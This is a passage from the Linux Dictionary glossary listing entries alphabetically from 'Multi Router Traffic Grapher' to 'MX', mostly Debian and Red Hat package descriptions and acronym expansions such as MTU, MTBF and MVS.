Multi Router Traffic Grapher The Multi Router Traffic Grapher is a tool primarily used to monitor the traffic load on network links (typically by using SNMP). MRTG generates HTML pages containing PNG images which provide a LIVE visual representation of this traffic. MRTG typically produces daily, weekly, monthly, and yearly graphs. In addition to monitoring via SNMP, MRTG can also generate graphs based on the output of any application, allowing one to generate graphs of anything that needs monitoring (for example, CPU and memory usage, email volumes, web hits, etc). For faster data collection, MRTG can also interface to RRDtool. For more information, see <http://www.ee.ethz.ch/~oetiker/webtools/mrtg/>. The mrtg-contrib package contains the contributed scripts and configuration files that used to form part of the mrtg package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mrtg-contrib

Multi Router Traffic Grapher (contributed files) A collection of sample scripts and configuration files for the Multi Router Traffic Grapher (MRTG). This package contains the contributed files that ship with MRTG. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mrtgutils

Utilities to generate statistics for mrtg A collection of simple utilities to generate output useful for mrtg. Many of the existing mrtg setups use shell or perl scripts to gather output. On busy systems,

Linux Dictionary

these scripts can generate a lot of extra load. These (small) C programs can return the given statistics more efficiently. From Debian 3.0r0 APT

msec

The Mandrake-Security package is designed to provide generic secure level to the Mandrake Linux users...It will permit you to choose between level 0 to 5 for a less -> more secured distribution. This packages includes several program that will be run periodically in order to test the security of your system and alert you if needed. From Mandrake 9.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MSEN

Media Status Event Notification From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mserv

local centralised multiuser music server Mserv is a music server designed to do a number of things better than most systems designed to play mp3s: – Supports any type of client using standard TCP protocol – Stores information on mp3 (bitrate, duration, name, author, genre, date produced, last play date) in on-disk database. – Stores rating information supplied by the user (awful, bad, neutral, good, superb). – Has a comprehensive queuing system (track, album, random album, etc) – Random play chooses the songs that people currently on-line want to hear using their ratings of the songs. – Search facilities, status information, statistics, etc. – User management facilities, four levels of users, encrypted passwords. – Talker style communication (say, emote etc.) – Play, next, pause, stop, repeat, volume, bass, treble settings. – On-line and off-line track information editing. – Advanced filter facilities (e.g. 'john=superb', '!good', 'year>1990', 'duration<180', 'genre=pop', 'john=goodfred=unheard' etc.) – Built-in telnet client (see manual). – Library interface, no need to write TCP code. – Comes with command line shell program for interfacing and web client to this shell program for web-based control. – Uses an external player to output, and is known to support mpg321, mpg123 and freeamp – this could be used to broadcast the output or support other players. – Comes with a setuid wrapper for mpg123-compatible players that can increase the nice level for low-capability processors. For more info see <http://www.mserv.org> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mserver

Network Modem Server The mserver program is a network modem server which allows modems to be exported to any number of hosts on the (local) internet. Access control for each individually exported modem is performed on a per-host basis. Windows 95 shareware client available. Work on a Mac version in progress. From Debian 3.0r0 APT

mt-gnu

control magnetic tape drive operation From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mt-st

Linux SCSI tape driver aware magnetic tape control (aka. mt) Mt-st contains a version of "mt" that is aware of Linux's SCSI tape driver. Mt-st is able to set some esoteric control flags like tape partitions. Mt-st diverts (replaces) the GNU version of mt, in the cpio package. It also comes with stinit, a program to be run at boot time to set up tape defaults. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mt-st

The mt-st package contains the mt and stinit tape drive management programs. Mt (for magnetic tape drives) can control rewinding, ejecting, skipping files and blocks, and more. The stinit program is used to initialize SCSI magnetic tape drives at system startup. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTA

Alongside the web, mail is the top reason for the popularity of the Internet. E-mail is an inexpensive and fast method of time-shifted messaging which, much like the Web, is actually based around sending and receiving plain text files. The protocol used is called the Simple Mail Transfer Protocol (SMTP). The server programs that implement SMTP to move mail from one server to another are called Mail Transfer Agents (MTAs). Once upon a time users would have to Telnet into an SMTP server and use a command line mail program like 'mutt' or 'pine' to check their mail. Now, GUI based e-mail clients like Mozilla, Kmail and Outlook allow users to check their email off of a local SMTP sever. Additional protocols like POP3 and IMAP4 are used between the SMTP server and desktop mail client to allow clients to manipulate files on, and download from, their local mail server. The programs that implement POP3 and IMAP4 are called Mail Delivery Agents (MDAs). They are generally separate from MTAs. From Advanced Linux Pocketbook
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTA

Mail Transport Agent (SMTP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTA

Message Transfer Agent (MTS, OSI, X.400) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTBF

Mean Time Between Failure From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTBF (Mean time between failures)

The statistical average operating time between the start of a component's lie and the time of its first electronic or mechanical failure. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTBRP

Mean-Time-Between-Parts-Replacement From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIPS Technologies Inc. (manufacturer, SGI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtime

Unix jargon for "the time a file's data was last 'changed'". (cf. atime, ctime). From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTJ

Magnetic Tunnel Junction (MRAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtools

mtools configuration files TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtools

Tools for manipulating MSDOS files Mtools is a collection of utilities to access MS-DOS disks from Unix without mounting them. It supports Win'95 style long file names, OS/2 Xdf disks, ZIP/JAZ disks and 2m disks (store up to 1992kB on a high density 3 1/2 disk). Also included in this package are commands to eject and manipulate the write/password protection control of Zip disks. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtools

utilities to access DOS disks in Unix. TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtoolsfm

graphical user interface to the mtools diskette package MToolsFM (formerly known as mfm) is a gtk-based graphical user interface for the mtools package for reading and writing DOS-format diskettes on UNIX systems. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtoolstest

tests and displays the configuration TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTOS

Magnetic Tape Operating System (OS, Datapoint) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTP

Message Transfer Part (ISDN, GSM, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtr

Full screen ncurses and X11 traceroute tool mtr combines the functionality of the 'traceroute' and 'ping' programs in a single network diagnostic tool. As mtr starts, it investigates the network connection between the host mtr runs on and a user-specified destination host. After it determines the address of each network hop between the machines, it sends a sequence ICMP ECHO requests to each one to determine the quality of the link to each machine. As it does this, it prints running statistics about each machine. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtr

Mtr is a network diagnostic tool that combines ping and traceroute into one program. Mtr provides two interfaces: an ncurses interface, useful for using Mtr from a telnet session; and a GTK+ interface for X (provided in the mtr-gtk package). From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtrack

Linux Dictionary

Graphical satellite tracker for X11 mtrack is a satellite tracking program for X11. The current position of the satellite is shown on a world map, and pass times for the next day or more can be generated and shown in a tabular form. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTRR

Memory Type Range Register (CPU, Pentium Pro, IC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTS

Magnetic Tape System (OS, HP, HP 2100) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTS

Message Transfer System (MHS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTS

Michigan Terminal System (OS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTS

Microsoft Transaction Server (MS, DB, WSH, COM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTT

MailTrusT (cryptography) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTTF

Mean Time To Failure From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTTFF

Mean Time To First Failure From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTTR

Mean Time to Recovery / Repair / React From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTTR

Mean Time Trouble Repair From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTU

Maximum Transmission Unit (SLIP, PPP, IP, PPPoE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTU

Maximum Transmission Unit – the largest packet size for a network. In RedHat the MTU is set for pppd in "/etc/sysconfig/network-scripts/ifcfg-ppp". From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MTU

Message Transfer Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtx

controls tape autochangers MTX can be used to manipulate tape auto-changers, also known as "jukeboxes", such that backup software can make use of the multiple tape capabilities of the auto-changer. In particular, this is necessary glue for using a backup system like Amanda with a DDS auto-changer like the HP Surestore 12000e. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mtype

display contents of an MSDOS file TQ From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mu-cite

Message Utilities for emacs. MU stands for "Message Utilities". It consists of following modules:
mu-cite: a citation utility mu-cite.el --- main module of mu-cite mu-bbdb.el --- mu-cite
submodule for BBDB mu-register.el --- mu-cite submodule for registration latex-math-symbol.el
--- translate mathematical symbols of LaTeX into MULE characters From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUA

Mail User Agent From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUBIS

MULTimediales BueroInformationsSystem (OA, BIS, TU Braunschweig), "MuBIS" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUCK

Multi-User Chat Kingdom (MUD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUD

Acronym for Multi-User Dungeon, a type of text based adventure game accessed with telnet or a
specialized client program, such as tintin, tinyfugue, or tinytalk. There are many types of MUD
including Diku, MOO, and MUSE. On example is ChicagoMUSE. From KADOWKEV
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUD

Multi-User Dungeon (MUD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUD (Multi-User Dungeon or Dimension)

A (usually text-based) multi-user simulation environment. Some are purely for fun and flirting,
others are used for serious software development, or education purposes and all that lies in between. A
significant feature of most MUDs is that users can create things that stay after they leave and which
other users can interact within their absence, thus allowing a world to be built gradually and
collectively. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

muddleftpd

A flexible and efficient FTP daemon MuddleFTPd has been designed from the ground up to be
efficient, configurable and to be tolerant of being run in root or non-root mode. This server enables
users to set up a variety of configurations, from a traditional FTP server using the password file for
everything, to using the password file for nothing running entirely as a single user. From Debian 3.0r0
APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mueller7-dict

English/Russian dictionary in dict format Electronic version of seventh edition of English/Russian
dictionary by V. K. Mueller. This package contains dictionary in dict format. You'll need dictd server
and dict client to use it. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mueller7-mova

English/Russian dictionary in mova format Electronic version of seventh edition of English/Russian
dictionary by V. K. Mueller. This package contains dictionary in mova format. From Debian 3.0r0
APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mueller7accent-dict

English/Russian dictionary with accents in dict format Electronic version of seventh edition of
English/Russian dictionary with accents by V. K. Mueller. This package contains dictionary in dict
format. You'll need dictd server and dict client to use it. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mueller7accent-mova

English/Russian dictionary with accents in mova format Electronic version of seventh edition of
English/Russian dictionary with accents by V. K. Mueller. This package contains dictionary in mova
format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUGD

MUMPS User Group Deutschland (MUMPS, user group), "MUG-D" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

muh

Full-featured IRC bouncing tool. muh is a smart irc-bouncing-tool that remains on IRC all the time. You can take control over your nick by connecting to muh with an IRC client that is able to supply a password for the server connection. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUI

Management User Interface (OMF, UI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUI

Multimedia User Interface (SGI, UI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MULDEM

MULTiplexer-DEMultiplexer From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MULE

MULTilingual Enhancement of GNU EMACS (EMACS, GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mule-ucs

character code translator system on Emacs MULE-UCS is a coding system and character code translator system. This has an universal ability to translate from any character sets to any, and construct new coding systems easily. And MULE-UCS have a package to translate between MULE INTERNAL CODE and ISO-10646, So you can handle ISO-10646 based coding systems on Emacs/Mule(But can't work on 20.2, this version have no extended CCL), Mule 3.0 and Meadow. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mulimidix

Mulimidix is a mini Linux distribution for building a PC-based set-top box and multimedia player system with digital TV, MP3, DivX, etc. support, using VDR, Freevo and other tools. It is currently optimized for i686. Initial version 0.1 was released April 4, 2003. Version 0.1.9pre was released May 17, 2003. A 'special purpose/mini' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

muLinux

muLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multex-base

basic MulTeX library files. MulTeX is a TeX for Multilingual languages included Chinese, Japanese and Korean. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multex-bin

Multilingual TeX MulTeX is TeX for Multilingual text based on the original Knuth's TeX. Include: multex, jmulatex, amsmultex (amsmultex depends on tetex-extra package). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multi-gnome-terminal

Enhanced the GNOME Terminal Multi Gnome Terminal is an enhanced version of gnome-terminal which has the following features added: - Many terminals in each window - Switch between terminals using shortcuts - Execution of user defined commands in new terminals - Notification of terminal states (changed, changing, unchanged) using different tabs colors - Reorderable tabs All this extensions are inspired by screen and konsole (the KDE2 terminal) From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multi-homed

A computer may have multiple adapters and multiple IP addresses. We called these multi-homed hosts. The existence of such machines makes some security processes difficult. UDP based transactions (like DNS) sometimes show anomalies because the responses come back from IP addresses different than the one the request was sent to. Sun workstations demonstrate and even more difficult problem: if multiple adapters are installed within the workstation, they are all assigned the same MAC address. Sometimes people hook both adapters to the same ethernet network. This means that every incoming packet is received by both adapters, so every request is seen multiple times, and responded to multiple times. The symptoms are that on UDP based protocols, every request sent to the multi-homed Sun computer gets multiple responses back. Key point: Misconfigured multi-homed hosts are common enough that it makes distinguishing their anomalies vs. hacker anomalies difficult. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Multi-Point Control Unit (MCU)

Computerized switching system which allows point-to-multipoint videoconferencing. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Multi-purpose Internet Mail Extensions (MIME)

An Internet standard that specifies how tools, such as electronic mail programs and Web browsers, can transfer multimedia files (including sounds, graphics, and video) via the Internet. Prior to the development of MIME, all data transferred via the Internet had to be coded in ASCII texts See uuencode/uudecode. Multiscan monitor See multiscanning monitor. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Multi-tasking

Multi-tasking describes a computer's ability to do more than one task at one particular time. An example may be word processing at the same time the computer is plotting a complex graph in the background. From Faculty-of-Education
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multicast

a type of communication between hosts (or computers) on a network where one computer can communicate with a select group of others. See broadcast and unicast. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multicd

Backup your data to CD-R/CD-RW multiCD provides an easy way to backup a large number of files to multiple CDs. Give multiCD the files/directories you want backed up and it will create as many CDs as it needs to, prompting the user to put in a new disc whenever needed. It can be configured to run in a multi-threading mode, where it will burn one image to a disc while it is copying files to another image. This feature can be disabled for slower machines. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MULTICS

MULTiplexed Information and Computing Service (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multimail

Offline reader for Blue Wave, QWK, OMEN and SOUP MultiMail is an offline mail packet reader for Unix and other systems. It currently supports the Blue Wave, QWK, OMEN and SOUP formats. It has a full screen, color user interface, built with the curses library. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Multimedia

Any document which uses multiple forms of communication, such as text, audio, and/or video. From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multimix

automatic classification or clustering multimix fits a mixture of multivariate distributions to a set of observations by maximum likelihood using the EM algorithm. The emphasis is less on parameter estimation than on the use of the estimated component distributions to cluster the data. The program is designed to cluster multivariate data with categorical and continuous variables. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multimon

Linux Radio Transmission Decoder The multimon software can decode a variety of digital transmission modes commonly found on UHF radio. A standard PC soundcard is used to acquire the signal from a transceiver. The decoding is done completely in software. Currently, the following modes are supported: AX.25 1200 Baud AFSK 2400 Baud AFSK (2 variants) 4800 Baud HAPN 9600 Baud FSK (G3RUH) POCSAG 512 Baud 1200 Baud 2400 Baud Miscellaneous DTMF ZVEI An arbitrary set of the above modes may run concurrently on the same input signal (provided the CPU power is sufficient), so you do not have to know in advance which mode is used. Note however that some modes might require modifications to the radio (especially the 9600 baud FSK and the POCSAG modes) to work properly. POCSAG (Post Office Code Standards Advisory Group) is a common paging transmission format. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Multitasking

The ability of an operating system to run more than one program, or task, at a time. A cooperative multitasking OS, like Windows 95/98, requires one application to voluntarily free up resources upon request so another application can use it. A preemptive multitasking OS, such as UNIX/Linux, Windows NT/2000 or OS/2, frees up resources when ordered to by the operating system, on a time-slice basis, or a priority basis, so that one application is unable to hog resources when they are needed by another program. (Also, see Multithreading and Time-sharing.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multitasking

the execution of two or more processes at the same time. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multitee

send multiple inputs to multiple outputs multitee sends all input on file descriptor fdin to each descriptor fdout. This is an improved version written by Dan Bernstein of the multitee program for BSD systems. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multithreading

native kernel support for multiple independent threads of control within a single process memory space. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Multithreading

The ability of an operating system to concurrently run programs that have been divided into subcomponents, or threads. Multithreading, when done correctly, offers better utilization of processors and other system resources. Multithreaded programming requires a multitasking/multithreading operating system, such as UNIX/Linux, Windows NT/2000 or OS/2, capable of running many programs concurrently. A word processor can make good use of multithreading, because it can spell check in the foreground while saving to disk and sending output to the system print spooler in the background. (Also, see Thread.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

multiticker

GNOME applet to provide scrolling RDF/RSS news tickers A simple GNOME applet that pulls down news items from sites in RDF/RSS format, parses, then displays them in a scrolling ticker. * Multiple sites are supported * News items are links to web pages launching your GNOME web browser * Colours can be associated with different sites * Several tickers can be displayed at once * Support for web proxies is included From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MULTOS

MULTimedia Office Server (OA, BIS, ESPRIT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUMPS

Massachusetts general hospital Multi-Programming System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUMPS

Multi-User Multi-Programming System ??? (OS, DEC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

munchlist

Interactive spelling checking From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

munpack

unpack messages in MIME or split-uuencode format From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUPAD

Multi Processing Algebra Data [tool] (Uni Paderborn, Germany, CAS), "MuPAD" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

murasaki

another HotPlug Agent Murasaki automatically loads and unloads modules for USB, Cardbus, network, etc using Linux 2.4's new "HotPlug" feature. Now kernel supports USB, Cardbus, Network and IEEE1394. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MURIX Linux

MURIX is a distribution based on LinuxFromScratch for building bootable CD-ROMs. Since you build it from source, MURIX should function on almost any hardware. Version 20020205, the initial release, became available on February 24, 2002. Version 1.1 was released November 24, 2002. Version 2003-04-22 was released April 22, 2003. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

muse

A Qt-based midi/audio sequencer MuseE is a MIDI/audio sequencer with recording and editing capabilities. Some Highlights: – standard midifile (smf) import-/export – organizes songs in tracks and parts which you can arrange with the part editor – midi editors: pianoroll, drum, list, controller – score editor with high quality postscript printer output – realtime: editing while playing – unlimited number of open editors – unlimited undo/redo – realtime and step-recording – multiple midi devices – unlimited number of tracks – Sync to external devices: MTC/MMC, Midi Clock, Master/Slave (currently only partially implemented) – audio tracks, LADSPA host for master effects – multithreaded – uses raw midi devices (ALSA, OSS & serial ports) – XML project file – project file contains complete app state (session data) – Application spanning Cut/Paste Drag/Drop From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUSE (Multi-User Simulated Environment)

One kind of MUD – usually with little or no violence. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUSH

Multi-User Shared Hallucination (MUD) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

music123

A command-line shell for sound-file players A command-line shell for programs like mpg123 and ogg123, music123 plays a variety of sound files using a mpg123/ogg123-like interface. With all the Recommends installed, music123 plays wav, mp3 and ogg files. By simply changing the config file, music123 can play any sound file you have a player for. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUSICAM

Masking–pattern adapted Universal Subband Integrated Coding And Multiplexing (MPEG, Digital audio) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

musixlyr

a MusiXTeX extension for handling lyrics musixlyr is a set of TeX macros to be used with Taupin MusiXTeX (version T.52 or later) for typesetting vocal music. Its purpose is to compensate two drawbacks of MusiXTeX's lyrics handling: * Typesetting lyrics with the "native" musixtex commands `\zcharnote`, `\zsong` etc. tends to be quite inefficient, particularly if the lyrics have to be changed or corrected. The idea underlying musixlyr is to separate lyrics coding from music coding and let TeX weave them together with as little manual interference as possible. As a result you can enter and edit lyrics (nearly) as easily as normal text. * musixtex has no built–in mechanism for centering hyphens between syllables and for handling hyphenation at long melismas. This is implemented in musixlyr following the example of engraved music. Author: Rainer Dunker <rainer.dunker@ebe–online.de> Primary–site: <ftp://ftp.gmd.de/music/musixtex/add–ons/musixlyr.zip> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MUT

Master Upper Tester (ISO 9646–3, TTCN) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mutella

command line based Gnutella client Mutella supports all the functionality required to participate as a full–featured node in the Gnutella network. "Full–featured" implies support for file search, download and sharing. It is optimized for a high–bandwidth connection, were it sets standards for the server performance and stability, but it can also run on a modest–speed line. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

MUTOS

MultiUser–/multitasking Operating System (GDR, OS) From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mutt

Mutt is a text–mode mail user agent. Mutt supports color, threading, arbitrary key remapping, and a lot of customization. You should install mutt if you have used it in the past and you prefer it, or if you are new to mail programs and have not decided which one you are going to use. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mutt

Text–based mailreader supporting MIME, GPG, PGP and threading. Mutt is a sophisticated text–based Mail User Agent. Some highlights: o MIME support (including RFC1522 encoding/decoding of 8–bit message headers). o PGP/MIME support (RFC 2015). o Advanced IMAP client supporting Kerberos authentication (and in some situations SSL encryption). o POP3 support. o Mailbox threading (both strict and non–strict). o Default keybindings are much like ELM. o Keybindings are configurable; Mush and PINE–like ones are provided as examples. o Handles MMDF, MH and Maildir in addition to regular mbox format. o Messages may be (indefinitely) postponed. o Colour support. o Highly configurable through easy but powerful rc file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

mutt–utf8

Text–based mailreader supporting MIME, GPG, PGP and threading. This is a version of mutt linked with slang–utf8. It may be buggy. Mutt is a sophisticated text–based Mail User Agent. Some highlights: o MIME support (including RFC1522 encoding/decoding of 8–bit message headers). o PGP/MIME support (RFC 2015). o Advanced IMAP client supporting Kerberos authentication (and in some situations SSL encryption). o POP3 support. o Mailbox threading (both strict and non–strict). o Default keybindings are much like ELM. o Keybindings are configurable; Mush and PINE–like ones are provided as examples. o Handles MMDF, MH and Maildir in addition to regular mbox format. o Messages may be (indefinitely) postponed. o Colour support. o Highly configurable through

easy but powerful rc file. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

muttprint

Pretty printing of mails with Mutt Muttprint formats the printing of Mutt and other mail clients like XFMail or PINE to be as pretty as the printing of Netscape Messenger or Kmail. It can print a little penguin (or the Debian logo) on the first page and a headline on every page. Furthermore, it only prints the most important headers, but not the whole plethora of them. Finally, it can even print two pages on one page in landscape format. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mutt_dotlock

Lock mail spool files. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MUX

MULTipleXer From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mv

move (rename) files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mv

moves or renames files or directories. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVA

Multi Vendor Architecture From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVA

Multidomain Vertical Alignment [technology] (LCD, Fujitsu) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVC

Model View Controller (Smalltalk, GUI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVI

Motion Video Instructions (DEC, CPU, Alpha) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVIF

Multi-Vendor Interacting Forum (org., IN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVP

Most Valuable Professional [bonus program] (MS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVRCA

Magnalink Variable Resource Compression Algorithm (PPP, RFC 1975) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVS

Multiple Virtual Storage (IBM, OS, OS/MVS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVS

Multiple Virtual System (OS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVSESA

Multiple Virtual Storage/Extended System Architecture (IBM), "MVS/ESA" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVSESASP

Multiple Virtual Storage/Extended System Architecture System Product (IBM), "MVS/ESA SP" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVSSP

Linux Dictionary

Multiple Virtual Storage/System Product, "MVS/SP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVSTSO

Multiple Virtual Storage/Time Sharing Option (IBM), "MVS/TSO" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVSXA

Multiple Virtual Storage/eXtended Architecture, "MVS/XA" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MVT

Multiprogramming with a Variable number of Tasks (IBM, OS/MVT, OS) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mwavem

Mwave/ACP modem support The mwavem program implements a Hayes-compatible V.90 modem in the 3780i Mwave/ACP DSP chip which is built in to certain IBM ThinkPad laptop computers, including the ThinkPad 600, 600E and 770 models. A driver for the mwave device is required. Source code for the driver, built as a module called 'mwave.o', is included in the latest 2.4 kernel sources. To build the module, set "ACP/Mwave Modem support" under "Character devices" to "m" at kernel configuration time. Source code is available from IBM which can be used to build a module compatible with earlier kernels. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MWS

Management WorkStation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MWS

Matsushita White Skipping (Fax) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MX

